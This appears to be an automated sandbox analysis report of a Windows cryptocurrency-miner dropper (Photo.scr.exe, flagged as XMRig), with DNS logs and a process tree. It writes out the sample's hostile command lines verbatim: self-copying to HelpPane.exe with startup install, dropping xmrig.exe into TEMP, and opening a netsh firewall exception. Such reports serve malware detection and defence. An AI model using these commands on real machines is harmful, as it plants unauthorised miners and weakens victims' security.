Aug 23, 2023 09:18:25.967267036 CEST	8.8.8.8	192.168.2.3	0x8c24	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.992108107 CEST	8.8.8.8	192.168.2.3	0x9bd1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:25.992108107 CEST	8.8.8.8	192.168.2.3	0x9bd1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.017869949 CEST	8.8.8.8	192.168.2.3	0x6c6b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:26.017869949 CEST	8.8.8.8	192.168.2.3	0x6c6b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.055588007 CEST	8.8.8.8	192.168.2.3	0x3152	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.055588007 CEST	8.8.8.8	192.168.2.3	0x3152	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.084701061 CEST	8.8.8.8	192.168.2.3	0x817d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.084701061 CEST	8.8.8.8	192.168.2.3	0x817d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.103530884 CEST	8.8.8.8	192.168.2.3	0x370e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.124866962 CEST	8.8.8.8	192.168.2.3	0x24c6	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.152327061 CEST	8.8.8.8	192.168.2.3	0x69b6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.185182095 CEST	8.8.8.8	192.168.2.3	0x1832	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.211597919 CEST	8.8.8.8	192.168.2.3	0x5559	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:26.211597919 CEST	8.8.8.8	192.168.2.3	0x5559	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:26.237220049 CEST	8.8.8.8	192.168.2.3	0x3d4f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:26.237220049 CEST	8.8.8.8	192.168.2.3	0x3d4f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.457832098 CEST	8.8.8.8	192.168.2.3	0xa5d2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.457832098 CEST	8.8.8.8	192.168.2.3	0xa5d2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.474315882 CEST	8.8.8.8	192.168.2.3	0x34e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.474315882 CEST	8.8.8.8	192.168.2.3	0x34e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.492257118 CEST	8.8.8.8	192.168.2.3	0x410e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.522825956 CEST	8.8.8.8	192.168.2.3	0xff95	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.549504042 CEST	8.8.8.8	192.168.2.3	0xe0a4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.584542036 CEST	8.8.8.8	192.168.2.3	0xb2d9	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.601243973 CEST	8.8.8.8	192.168.2.3	0xa6a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:31.601243973 CEST	8.8.8.8	192.168.2.3	0xa6a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.618890047 CEST	8.8.8.8	192.168.2.3	0xdd3a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:31.618890047 CEST	8.8.8.8	192.168.2.3	0xdd3a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.670690060 CEST	8.8.8.8	192.168.2.3	0xc636	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.670690060 CEST	8.8.8.8	192.168.2.3	0xc636	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.692409039 CEST	8.8.8.8	192.168.2.3	0xbe4a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.692409039 CEST	8.8.8.8	192.168.2.3	0xbe4a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.724805117 CEST	8.8.8.8	192.168.2.3	0x64ea	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.750878096 CEST	8.8.8.8	192.168.2.3	0x5f74	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.781044006 CEST	8.8.8.8	192.168.2.3	0x5090	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.795416117 CEST	8.8.8.8	192.168.2.3	0x483a	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.800050020 CEST	8.8.8.8	192.168.2.3	0x1923	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.826678038 CEST	8.8.8.8	192.168.2.3	0x4e77	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:31.826678038 CEST	8.8.8.8	192.168.2.3	0x4e77	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:31.848028898 CEST	8.8.8.8	192.168.2.3	0x771e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:31.848028898 CEST	8.8.8.8	192.168.2.3	0x771e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.647150040 CEST	8.8.8.8	192.168.2.3	0x1a8c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.647150040 CEST	8.8.8.8	192.168.2.3	0x1a8c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.665724993 CEST	8.8.8.8	192.168.2.3	0xddc2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.665724993 CEST	8.8.8.8	192.168.2.3	0xddc2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.687828064 CEST	8.8.8.8	192.168.2.3	0x8fc	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.715117931 CEST	8.8.8.8	192.168.2.3	0xd62a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.746716976 CEST	8.8.8.8	192.168.2.3	0xf6b2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.778577089 CEST	8.8.8.8	192.168.2.3	0x3553	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.804115057 CEST	8.8.8.8	192.168.2.3	0x5c37	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:34.804115057 CEST	8.8.8.8	192.168.2.3	0x5c37	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.820743084 CEST	8.8.8.8	192.168.2.3	0x1a38	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:34.820743084 CEST	8.8.8.8	192.168.2.3	0x1a38	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Photo.scr.exePID: 6900, Parent PID: 3524

General

Target ID:	0
Start time:	09:14:01
Start date:	23/08/2023
Path:	C:\Users\user\Desktop\Photo.scr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Photo.scr.exe
Imagebase:	0x1d0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.369774094.0000000002514000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: Photo.scr.exePID: 6996, Parent PID: 6900

General

Target ID:	1
Start time:	09:14:03
Start date:	23/08/2023
Path:	C:\Users\user\Desktop\Photo.scr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Photo.scr.exe
Imagebase:	0x1d0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7036, Parent PID: 6996

General

Target ID:	2
Start time:	09:14:04
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c copy /y C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\HelpPane.exe
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7068, Parent PID: 7036

General

Target ID:	3
Start time:	09:14:05
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6204, Parent PID: 6996

General

Target ID:	4
Start time:	09:14:05
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe --startup auto install
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4356, Parent PID: 6204

General

Target ID:	5
Start time:	09:14:05
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 6372, Parent PID: 6204

General

Target ID:	6
Start time:	09:14:05
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe --startup auto install
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000006.00000003.377819448.0000000003227000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 6320, Parent PID: 6372

General

Target ID:	7
Start time:	09:14:07
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe --startup auto install
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1460, Parent PID: 6996

General

Target ID:	8
Start time:	09:14:11
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe start
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2380, Parent PID: 1460

General

Target ID:	9
Start time:	09:14:11
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 6084, Parent PID: 1460

General

Target ID:	10
Start time:	09:14:12
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe start
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000003.392017630.0000000002E0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 6612, Parent PID: 6084

General

Target ID:	11
Start time:	09:14:14
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe start
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 6072, Parent PID: 564

General

Target ID:	12
Start time:	09:14:16
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000003.403983010.000000000191C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000003.403235552.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000003.403397701.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000003.403127967.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: HelpPane.exePID: 4720, Parent PID: 6072

General

Target ID:	15
Start time:	09:14:19
Start date:	23/08/2023
Path:	C:\Users\user\HelpPane.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\HelpPane.exe
Imagebase:	0xcd0000
File size:	6'227'230 bytes
MD5 hash:	CA1FB1AD30189110CC225620DC537368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4948, Parent PID: 4720

General

Target ID:	16
Start time:	09:14:21
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /pid 1992 /f
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5360, Parent PID: 4948

General

Target ID:	17
Start time:	09:14:21
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 6688, Parent PID: 4948

General

Target ID:	18
Start time:	09:14:21
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /pid 1992 /f
Imagebase:	0xe70000
File size:	74'752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3764, Parent PID: 4720

General

Target ID:	20
Start time:	09:14:21
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\xmrig.exe C:\Windows\TEMP\xmrig.exe
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.409694423.0000000002A0C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6276, Parent PID: 3764

General

Target ID:	21
Start time:	09:14:21
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3424, Parent PID: 4720

General

Target ID:	22
Start time:	09:14:22
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\config.json C:\Windows\TEMP\config.json
Imagebase:	0x50000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000016.00000002.411224903.0000000002500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2040, Parent PID: 3424

General

Target ID:	23
Start time:	09:14:22
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1340, Parent PID: 564

General

Target ID:	24
Start time:	09:14:23
Start date:	23/08/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7b1050000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: BackgroundTransferHost.exePID: 4948, Parent PID: 800

General

Target ID:	25
Start time:	09:14:24
Start date:	23/08/2023
Path:	C:\Windows\System32\BackgroundTransferHost.exe
Wow64 process (32bit):	false
Commandline:	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
Imagebase:	0x7ff657d60000
File size:	36'864 bytes
MD5 hash:	02BA81746B929ECC9DB6665589B68335
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: xmrig.exePID: 1012, Parent PID: 4720

General

Target ID:	29
Start time:	09:14:26
Start date:	23/08/2023
Path:	C:\Windows\Temp\xmrig.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\TEMP\xmrig.exe
Imagebase:	0x400000
File size:	1'905'664 bytes
MD5 hash:	13BDD9CD9F7E51746172996262B5A873
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.951616648.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000000.418759851.00000000009B0000.00000008.00000001.01000000.0000003A.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000003.421889362.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.951616648.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.952083780.000000000290D000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.952136244.0000000002B4D000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.951812463.0000000001852000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.951780389.00000000013E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.952047348.00000000026CD000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000003.421889362.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.952013447.000000000248D000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.951580295.00000000009B0000.00000004.00000001.01000000.0000003A.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.949906199.0000000000401000.00000040.00000001.01000000.0000003A.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\xmrig.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: spoolsv.exePID: 3576, Parent PID: 564

General

Target ID:	30
Start time:	09:14:26
Start date:	23/08/2023
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff714f70000
File size:	768'512 bytes
MD5 hash:	C05A19A38D7D203B738771FD1854656F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1204, Parent PID: 1012

General

Target ID:	31
Start time:	09:14:26
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 4420, Parent PID: 4720

General

Target ID:	32
Start time:	09:14:26
Start date:	23/08/2023
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE
Imagebase:	0x1280000
File size:	82'944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 8284, Parent PID: 4420

General

Target ID:	33
Start time:	09:14:26
Start date:	23/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff766460000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 17040, Parent PID: 564

General

Target ID:	38
Start time:	09:14:56
Start date:	23/08/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7b1050000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 17576, Parent PID: 564

General

Target ID:	40
Start time:	09:15:06
Start date:	23/08/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
